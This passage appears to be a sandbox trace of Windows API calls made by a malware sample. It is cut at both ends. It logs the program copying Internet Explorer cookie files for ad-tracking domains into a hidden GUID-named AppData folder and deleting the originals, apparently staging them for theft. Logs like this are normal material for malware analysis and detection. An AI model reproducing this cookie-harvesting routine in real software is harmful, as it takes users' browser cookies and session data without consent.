lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.440] StrChrW (lpStart="Low\\aetadzjz@server.adformdsp[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@server.adformdsp[2].txt" [0116.440] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.440] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.440] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.440] StrChrW (lpStart="aetadzjz@server.adformdsp[2].txt", wMatch=0x94e005c) returned 0x0 [0116.440] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@server.adformdsp[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@server.adformdsp[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@server.adformdsp[2].txt" [0116.440] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@server.adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@server.adformdsp[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@server.adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@server.adformdsp[2].txt"), bFailIfExists=0) returned 1 [0116.443] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0116.443] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@server.adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@server.adformdsp[2].txt")) returned 1 [0116.444] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95fa0 | out: hHeap=0x9770000) returned 1 [0116.444] lstrlenW (lpString="Low\\aetadzjz@serving-sys[2].txt") returned 31 [0116.444] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.444] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.444] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfc) returned 0x9a96580 [0116.444] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.444] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.444] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.445] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.445] StrChrW (lpStart="Low\\aetadzjz@serving-sys[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@serving-sys[2].txt" [0116.445] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.445] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.445] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.445] StrChrW (lpStart="aetadzjz@serving-sys[2].txt", wMatch=0x94e005c) returned 0x0 [0116.445] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@serving-sys[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@serving-sys[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@serving-sys[2].txt" [0116.445] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@serving-sys[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@serving-sys[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@serving-sys[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@serving-sys[2].txt"), bFailIfExists=0) returned 1 [0116.453] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0116.453] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@serving-sys[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@serving-sys[2].txt")) returned 1 [0116.454] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94590 | out: hHeap=0x9770000) returned 1 [0116.454] lstrlenW (lpString="Low\\aetadzjz@serving.experianmarketingservices[1].txt") returned 53 [0116.454] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.454] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.454] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x128) returned 0x9770de0 [0116.454] lstrcpyW (in: lpString1=0x9770de0, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.454] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.454] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.454] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.454] StrChrW (lpStart="Low\\aetadzjz@serving.experianmarketingservices[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@serving.experianmarketingservices[1].txt" [0116.454] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.454] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.454] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.454] StrChrW (lpStart="aetadzjz@serving.experianmarketingservices[1].txt", wMatch=0x94e005c) returned 0x0 [0116.454] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@serving.experianmarketingservices[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@serving.experianmarketingservices[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@serving.experianmarketingservices[1].txt" [0116.454] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@serving.experianmarketingservices[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@serving.experianmarketingservices[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@serving.experianmarketingservices[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@serving.experianmarketingservices[1].txt"), bFailIfExists=0) returned 1 [0116.457] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770de0 | out: hHeap=0x9770000) returned 1 [0116.457] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@serving.experianmarketingservices[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@serving.experianmarketingservices[1].txt")) returned 1 [0116.458] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a960d0 | out: hHeap=0x9770000) returned 1 [0116.458] lstrlenW (lpString="Low\\aetadzjz@smartadserver[1].txt") returned 33 [0116.458] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.458] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.458] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x100) returned 0x9a96580 [0116.458] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.458] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.458] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.459] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.459] StrChrW (lpStart="Low\\aetadzjz@smartadserver[1].txt", wMatch=0x94e005c) returned="\\aetadzjz@smartadserver[1].txt" [0116.459] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.459] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.459] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.459] StrChrW (lpStart="aetadzjz@smartadserver[1].txt", wMatch=0x94e005c) returned 0x0 [0116.459] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@smartadserver[1].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@smartadserver[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@smartadserver[1].txt" [0116.459] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@smartadserver[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@smartadserver[1].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@smartadserver[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@smartadserver[1].txt"), bFailIfExists=0) returned 1 [0116.463] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0116.463] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@smartadserver[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@smartadserver[1].txt")) returned 1 [0116.464] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a946b0 | out: hHeap=0x9770000) returned 1 [0116.464] lstrlenW (lpString="Low\\aetadzjz@tapad[2].txt") returned 25 [0116.464] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.464] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.464] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf0) returned 0x9a98470 [0116.464] lstrcpyW (in: lpString1=0x9a98470, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.464] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.464] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.464] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.464] StrChrW (lpStart="Low\\aetadzjz@tapad[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@tapad[2].txt" [0116.464] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.464] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.464] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.464] StrChrW (lpStart="aetadzjz@tapad[2].txt", wMatch=0x94e005c) returned 0x0 [0116.464] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@tapad[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@tapad[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@tapad[2].txt" [0116.464] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@tapad[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@tapad[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@tapad[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@tapad[2].txt"), bFailIfExists=0) returned 1 [0116.467] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.467] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@tapad[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@tapad[2].txt")) returned 1 [0116.468] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96220 | out: hHeap=0x9770000) returned 1 [0116.468] lstrlenW (lpString="Low\\aetadzjz@track.adform[2].txt") returned 32 [0116.468] lstrlenW (lpString="\\cookie.ie") returned 10 [0116.468] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0116.468] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfe) returned 0x9a96580 [0116.468] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0116.468] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0116.468] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0116.468] lstrcatW (in: 